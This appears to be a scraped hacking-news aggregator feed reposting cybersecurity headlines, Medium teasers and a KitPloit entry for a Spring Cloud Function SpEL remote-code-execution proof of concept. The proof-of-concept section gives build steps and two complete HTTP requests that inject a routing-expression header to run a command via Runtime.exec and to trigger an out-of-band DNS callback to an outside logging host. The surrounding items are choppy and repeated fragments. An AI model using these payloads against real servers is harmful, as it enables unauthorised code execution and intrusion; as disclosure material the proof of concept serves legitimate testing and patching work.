Black Hat Ethical Hacking
Recon Tool: PSRecon

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
U.S. Cyber Command Adds APUS as Member in Newly Formed Academic Network

The Academic Engagement Network is designed to advance cybersecurity in four areas.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Global BEC Crackdown Nets 65 Suspects

FBI and international law enforcement agencies execute "Operation Eagle Sweep."

Cross-Site Scripting (XSS) via image rendering application

Hello Hackers, I’m MrEmpy, I’m 17 years old and welcome. Today I’m going to teach you how to test an image rendering application and be…Continue reading on Medium »
Read more...

Spring-Spel-0Day-Poc - Spring-Cloud / spring-cloud-function, spring.cloud.function.routing-expression, RCE, 0day, 0-day, POC, EXP
http://www.kitploit.com/2022/03/spring-spel-0day-poc-spring-cloud.html

___________________________
@hacking_Attack
@Hacking_Video

spring-cloud/spring-cloud-function RCE (https://www.kitploit.com/search/label/RCE) EXP POC https://github.com/spring-cloud/spring-cloud-function header spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("open -a calculator.app")
build wget https://github.com/spring-cloud/spring-cloud-function/archive/refs/tags/v3.1.6.zip
unzip v3.1.6.zip
cd spring-cloud-function-3.1.6
cd spring-cloud-function-samples/function-sample-pojo
mvn package
java -jar ./target/function-sample-pojo-2.0.0.RELEASE.jar

___________________________
@hacking_Attack
@Hacking_Video

get path lists for test find . -name "*.java"|xargs -I % cat %|grep -Eo '"([^" \.\/=>\|,:\}\+\)'"'"']{8,})"'|sort -u|sed 's/"//g' ...
functionRouter
uppercase
lowercase
...

___________________________
@hacking_Attack
@Hacking_Video

poc1 POST /functionRouter HTTP/1.1
host:127.0.0.1:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X (https://www.kitploit.com/search/label/OS%20X) 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.2 Safari/605.1.15
Connection: close
spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("open -a /System/Applications/Calculator.app")
Content-Length: 5

51pwn

___________________________
@hacking_Attack
@Hacking_Video

poc2 POST /functionRouter HTTP/1.1
host:127.0.0.1:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.2 Safari/605.1.15
Connection: close
spring.cloud.function.routing-expression:T(java.net.InetAddress).getByName("random87535.rce.51pwn.com")
Content-Length: 5

51pwn
check curl -v 'https://51pwn.com/dnslog?q=random87535.rce.51pwn.com'

Download Spring-Spel-0Day-Poc (https://github.com/hktalent/spring-spel-0day-poc)

___________________________
@hacking_Attack
@Hacking_Video

Cross-Site Scripting (XSS) via image rendering application
https://medium.com/@mrempy/cross-site-scripting-xss-via-image-rendering-application-f8427afe746d?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Hello Hackers, I’m MrEmpy, I’m 17 years old and welcome. Today I’m going to teach you how to test an image rendering application and be…Continue reading on Medium » (https://medium.com/@mrempy/cross-site-scripting-xss-via-image-rendering-application-f8427afe746d?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Preventing clickjacking exploits using AWS Cloudfront

https://cdn-images-1.medium.com/max/2600/1*EKe18g1l7Etlkt4b3VEi8w.jpeg
I recently got an email from a white hat hacker about how our site was vulnerable to clickjacking exploits. As a small startup focused on…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Easiest Way to Track Any User’s Twitter Follower Count

https://cdn-images-1.medium.com/max/2600/1*rxg6l6D-cdhLNTDqGQt7QQ.png
So, you want to keep a log of your Twitter follower growth, right? There are many ways to do it:

Continue reading on Dev Genius »

Hacking on Medium
Nuevo ransomware basado en Python dirigido a portátiles web de JupyterLab

https://cdn-images-1.medium.com/max/1200/0*veRorUfjppiZGnUr
PUBLICADO EN 31 MARZO, 2022POR EHACKING

Continue reading on Medium »

Hacking on Medium
THE GREATEST HEIST EVER IN DEFI SPACE (worth 600 million)

https://cdn-images-1.medium.com/max/957/1*OBvE71vQ-IzZ64rp9Jbjlg.png
600 million worth of Eth and stable coins wept from a Ronin gaming blockchain. What next?

Continue reading on Medium »